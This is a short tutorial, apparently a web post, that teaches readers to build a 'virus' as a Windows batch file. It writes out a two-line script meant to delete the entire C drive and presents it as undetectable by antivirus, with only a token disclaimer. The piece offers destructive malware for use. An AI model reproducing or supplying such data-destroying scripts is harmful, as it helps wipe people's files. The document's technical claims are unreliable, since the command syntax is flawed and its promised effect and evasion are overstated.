I will teach you to make simple yet very powerful or you can say harmful computer virus using a batch file. No software is required to make this virus, Notepad is enough for it. The good thing about this virus is it is not detected by any Anti-virus.

What will this virus do ?

You will create this virus using batch file programming. This virus will delete the C Drive completely. The good thing about this virus is that it is not detected by antivirus.

How to Make the virus ?

1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y

2. Save this file as virus.bat (Name can be anything but .bat is must)
3. Now, running this file will delete all the content of C Drive.

Warning: Please don’t try to run on your own computer or else it will delete all the content of your C Drive. I will not be responsible for any damage done to your computer.